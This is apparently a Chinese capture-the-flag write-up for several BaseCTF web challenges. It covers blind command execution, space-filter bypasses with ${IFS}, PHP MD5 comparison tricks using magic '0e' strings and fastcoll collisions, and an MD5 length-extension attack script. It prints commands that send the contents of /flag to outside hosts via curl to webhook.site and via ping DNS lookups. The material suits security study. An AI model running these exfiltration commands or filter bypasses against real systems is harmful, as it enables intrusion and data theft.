一起吃豆豆
进入到站点,在index.js中找到一串base64解密的字符,解密即可得到flag
你听不到我的声音
<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);
源码仅仅是这样,看了看题目:我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?
shell_exec无回先,可以执行shell命令,所以只需要外带即可。
重定向到文件
用流重定向符号来将输出内容重定向到文件中, 再通过浏览器进行下载
写入目录之后,通过访问url/1.txt
获取到目录文件
此时就可以使用cat /flag直接获取到flag
使用dnslog
使用站点:dnslog.cn
用 ping 外带
ping `cat /flag | base64`.xxxxxxx.dnshook.site
但是发现仍然没有数据,不知道什么原因。
使用https://webhook.site/
执行curl
能够有访问返回。
所以可以直接使用:
cmd=curl https://webhook.site/12de855d-dd62-49db-8169-1e9f8fd23828/`cat /flag`
使用反引号进行拼接,直接获取到flag
RCEisamazingwithspace
无空格rce
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}
// execute the command
system($cmd);
其中的正则表达式为了防止命令里有空格,而空格也可以使用别的内容进行代替。
如:<>
、${IFS}
、$IFS
、$IFS$
使用${IFS}
直接就可以绕过
数学大师
题目内容:每一道题目需要在 5 秒内解出, 传入到 $_POST['answer']
中, 解出 50 道即可, 除法取整
题目提示:本题依赖 session,请在请求时开启 session cookie
要求传入到answer中,所以通过搓一个脚本
使用regex101: build, test, and debug regex进行正则表达式的编写。
import requests
import re
answer = 0
req = requests.session() # 存储session
while True: # 直接传入死循环,防止网页出现问题
a = req.post("http://challenge.basectf.fun:43271", data= {"answer" : answer}) # 获取网页信息
# 使用正则表达式进行处理
regex = r" (\d*?)(.)(\d*)\?"
match = re.search(regex, a.text)
num1 = match.group(1)
op = match.group(2)
num2 = match.group(3)
if op == "+":
answer = int(num1) + int(num2)
elif op == "-":
answer = int(num1) - int(num2)
elif op == "×":
answer = int(num1) * int(num2)
elif op == "÷":
answer = int(num1) // int(num2)
print(a.text)
可以获取到脚本。
所以你说你懂 MD5?
字符串iv2Cn
通过一次和两次MD5,开头都是0e
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}
首先对md5强比较绕过,使用数组即可
构造apple[]=0&banana[]=1
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}
而后会将数组强转成string,通过string转换之后,apple和banana都会被转成array,然后变成array的md5值之后,无法进行绕过。
所以可以利用0e进行绕过
以下值在md5加密后以0E开头:
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
- s214587387a
以下值在sha1加密后以0E开头:
- aaroZmOk
- aaK1STfY
- aaO8zKZF
- aa3OFF9m
- 0e1290633704
- 10932435112
双重MD5加密后0E开头:
- 7r4lGXCH2Ksu2JNT3BYM
- CbDLytmyGm2xQyaLNhWn
- 770hQgrBOjrcqftrlaZk
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}
强等于绕过,要满足两个内容不同,但是经过一次md5之后的结果仍然是md5
可以使用 fastcoll 工具https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
下载之后,创建一个txt文件,随便输入内容,拖放到exe上进行运行,会在目录生成两个文件。
文件内容是两个内容不同但 MD5 相同的内容, 将其内容 urlencode 之后传入
yakit可以上传文件内容,使用{{url({{file(文件绝对路径)}})}}
即可将文件传入
也可以使用php中的urlencode函数,将其内容编码后输入到参数值上。
// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}
// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';
$name = $_POST['name'] ?? 'user';
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}
最后一层考md5长度拓展攻击
上一层绕过后,生成的值为session cookie获取到的值,这个值如果在post包内存入session,便不会变化的,可以从返回的cookie中取出。
【CRYPTO】哈希长度拓展攻击 | 狼组安全团队公开知识库 (wgpsec.org)
参考文章:浅析 MD5 长度扩展攻击 (MD5 Length Extension Attack) | Luoingly’s Space
使用工具:attack-scripts/logic/md5-extension-attack.py at main · luoingly/attack-scripts (github.com)
使用py脚本:
from struct import pack, unpack
from math import floor, sin
"""
MD5 Extension Attack
====================
@refs
https://github.com/shellfeel/hash-ext-attack
"""
class MD5:
def __init__(self):
self.A, self.B, self.C, self.D = \
(0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476) # initial values
self.r: list[int] = \
[7, 12, 17, 22] * 4 + [5, 9, 14, 20] * 4 + \
[4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4 # shift values
self.k: list[int] = \
[floor(abs(sin(i + 1)) * pow(2, 32))
for i in range(64)] # constants
def _lrot(self, x: int, n: int) -> int:
# left rotate
return (x << n) | (x >> 32 - n)
def update(self, chunk: bytes) -> None:
# update the hash for a chunk of data (64 bytes)
w = list(unpack('<'+'I'*16, chunk))
a, b, c, d = self.A, self.B, self.C, self.D
for i in range(64):
if i < 16:
f = (b & c) | ((~b) & d)
flag = i
elif i < 32:
f = (b & d) | (c & (~d))
flag = (5 * i + 1) % 16
elif i < 48:
f = (b ^ c ^ d)
flag = (3 * i + 5) % 16
else:
f = c ^ (b | (~d))
flag = (7 * i) % 16
tmp = b + \
self._lrot((a + f + self.k[i] + w[flag])
& 0xffffffff, self.r[i])
a, b, c, d = d, tmp & 0xffffffff, b, c
self.A = (self.A + a) & 0xffffffff
self.B = (self.B + b) & 0xffffffff
self.C = (self.C + c) & 0xffffffff
self.D = (self.D + d) & 0xffffffff
def extend(self, msg: bytes) -> None:
# extend the hash with a new message (padded)
assert len(msg) % 64 == 0
for i in range(0, len(msg), 64):
self.update(msg[i:i + 64])
def padding(self, msg: bytes) -> bytes:
# pad the message
length = pack('<Q', len(msg) * 8)
msg += b'\x80'
msg += b'\x00' * ((56 - len(msg)) % 64)
msg += length
return msg
def digest(self) -> bytes:
# return the hash
return pack('<IIII', self.A, self.B, self.C, self.D)
def verify_md5(test_string: bytes) -> None:
# (DEBUG function) verify the MD5 implementation
from hashlib import md5 as md5_hashlib
def md5_manual(msg: bytes) -> bytes:
md5 = MD5()
md5.extend(md5.padding(msg))
return md5.digest()
manual_result = md5_manual(test_string).hex()
hashlib_result = md5_hashlib(test_string).hexdigest()
assert manual_result == hashlib_result, "Test failed!"
def attack(message_len: int, known_hash: str,
append_str: bytes) -> tuple:
# MD5 extension attack
md5 = MD5()
previous_text = md5.padding(b"*" * message_len)
current_text = previous_text + append_str
md5.A, md5.B, md5.C, md5.D = unpack("<IIII", bytes.fromhex(known_hash))
md5.extend(md5.padding(current_text)[len(previous_text):])
return current_text[message_len:], md5.digest().hex()
if __name__ == '__main__':
message_len = int(input("[>] Input known text length: "))
known_hash = input("[>] Input known hash: ").strip()
append_text = input("[>] Input append text: ").strip().encode()
print("[*] Attacking...")
extend_str, final_hash = attack(message_len, known_hash, append_text)
from urllib.parse import quote
from base64 import b64encode
print("[+] Extend text:", extend_str)
print("[+] Extend text (URL encoded):", quote(extend_str))
print("[+] Extend text (Base64):", b64encode(extend_str).decode())
print("[+] Final hash:", final_hash)
已知random的长度不变,内容会变化,通过使用php跑一下,发现random的长度为96,而内容已经取出到了cookie中。
要求最后的5个字符为admin。
获取到了name和md5的值,传入即可。
发现沙发条评论